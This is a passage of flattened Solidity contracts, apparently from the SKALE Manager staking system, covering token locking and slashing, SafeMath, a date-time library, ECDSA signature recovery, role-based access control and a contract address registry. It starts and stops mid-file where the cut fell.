tokens mapping (address => uint) private _locked; /** * @dev Emitted upon slashing condition. */ event Slash( uint validatorId, uint amount ); /** * @dev Emitted upon forgive condition. */ event Forgive( address wallet, uint amount ); /** * @dev Allows SkaleDKG contract to execute slashing on a validator and * validator's delegations by an `amount` of tokens. * * Emits a {Slash} event. * * Requirements: * * - Validator must exist. */ function slash(uint validatorId, uint amount) external allow("SkaleDKG") { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(validatorService.validatorExists(validatorId), "Validator does not exist"); delegationController.confiscate(validatorId, amount); emit Slash(validatorId, amount); } /** * @dev Allows the Admin to forgive a slashing condition. * * Emits a {Forgive} event. * * Requirements: * * - All slashes must have been processed. */ function forgive(address holder, uint amount) external onlyAdmin { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated"); if (amount > _locked[holder]) { delete _locked[holder]; } else { _locked[holder] = _locked[holder].sub(amount); } emit Forgive(holder, amount); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows DelegationController contract to execute slashing of * delegations. */ function handleSlash(address holder, uint amount) external allow("DelegationController") { _locked[holder] = _locked[holder].add(amount); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } // private /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.processAllSlashes(wallet); return _locked[wallet]; } } // SPDX-License-Identifier: AGPL-3.0-only /* TokenState.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../interfaces/delegation/ILocker.sol"; import "../Permissions.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title Token State * @dev This contract manages lockers to control token transferability. * * The SKALE Network has three types of locked tokens: * * - Tokens that are transferrable but are currently locked into delegation with * a validator. * * - Tokens that are not transferable from one address to another, but may be * delegated to a validator `getAndUpdateLockedAmount`. This lock enforces * Proof-of-Use requirements. * * - Tokens that are neither transferable nor delegatable * `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing. */ contract TokenState is Permissions, ILocker { string[] private _lockers; DelegationController private _delegationController; /** * @dev Emitted when a contract is added to the locker. */ event LockerWasAdded( string locker ); /** * @dev Emitted when a contract is removed from the locker. */ event LockerWasRemoved( string locker ); /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address holder) external override returns (uint) { if (address(_delegationController) == address(0)) { _delegationController = DelegationController(contractManager.getContract("DelegationController")); } uint locked = 0; if (_delegationController.getDelegationsByHolderLength(holder) > 0) { // the holder ever delegated for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); locked = locked.add(locker.getAndUpdateLockedAmount(holder)); } } return locked; } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) { uint forbidden = 0; for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder)); } return forbidden; } /** * @dev Allows the Owner to remove a contract from the locker. * * Emits a {LockerWasRemoved} event. */ function removeLocker(string calldata locker) external onlyOwner { uint index; bytes32 hash = keccak256(abi.encodePacked(locker)); for (index = 0; index < _lockers.length; ++index) { if (keccak256(abi.encodePacked(_lockers[index])) == hash) { break; } } if (index < _lockers.length) { if (index < _lockers.length.sub(1)) { _lockers[index] = _lockers[_lockers.length.sub(1)]; } delete _lockers[_lockers.length.sub(1)]; _lockers.pop(); emit LockerWasRemoved(locker); } } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); addLocker("DelegationController"); addLocker("Punisher"); } /** * @dev Allows the Owner to add a contract to the Locker. * * Emits a {LockerWasAdded} event. */ function addLocker(string memory locker) public onlyOwner { _lockers.push(locker); emit LockerWasAdded(locker); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { uint year; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { uint year; uint month; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "./utils/StringUtils.sol"; /** * @title ContractManager * @dev Contract contains the actual current mapping from contract IDs * (in the form of human-readable strings) to addresses. */ contract ContractManager is OwnableUpgradeSafe { using StringUtils for string; using Address for address; string public constant BOUNTY = "Bounty"; string public constant CONSTANTS_HOLDER = "ConstantsHolder"; string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager"; string public constant PUNISHER = "Punisher"; string public constant SKALE_TOKEN = "SkaleToken"; string public constant TIME_HELPERS = "TimeHelpers"; string public constant TOKEN_STATE = "TokenState"; string public constant VALIDATOR_SERVICE = "ValidatorService"; // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; /** * @dev Emitted when contract is upgraded. */ event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } /** * @dev Allows the Owner to add contract to mapping of contract addresses. * * Emits a {ContractUpgraded} event. * * Requirements: * * - New address is non-zero. * - Contract is not already added. * - Contract address contains code. */ function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); require(newContractsAddress.isContract(), "Given contract address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } /** * @dev Returns contract address. * * Requirements: * * - Contract must exist. */ function getDelegationPeriodManager() external view returns (address) { return getContract(DELEGATION_PERIOD_MANAGER); } function getBounty() external view returns (address) { return getContract(BOUNTY); } function getValidatorService() external view returns (address) { return getContract(VALIDATOR_SERVICE); } function getTimeHelpers() external view returns (address) { return getContract(TIME_HELPERS); } function getConstantsHolder() external view returns (address) { return getContract(CONSTANTS_HOLDER); } function getSkaleToken() external view returns (address) { return getContract(SKALE_TOKEN); } function getTokenState() external view returns (address) { return getContract(TOKEN_STATE); } function getPunisher() external view returns (address) { return getContract(PUNISHER); } function getContract(string memory name) public view returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; if (contractAddress == address(0)) { revert(name.strConcat(" contract has not been found")); } } } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // 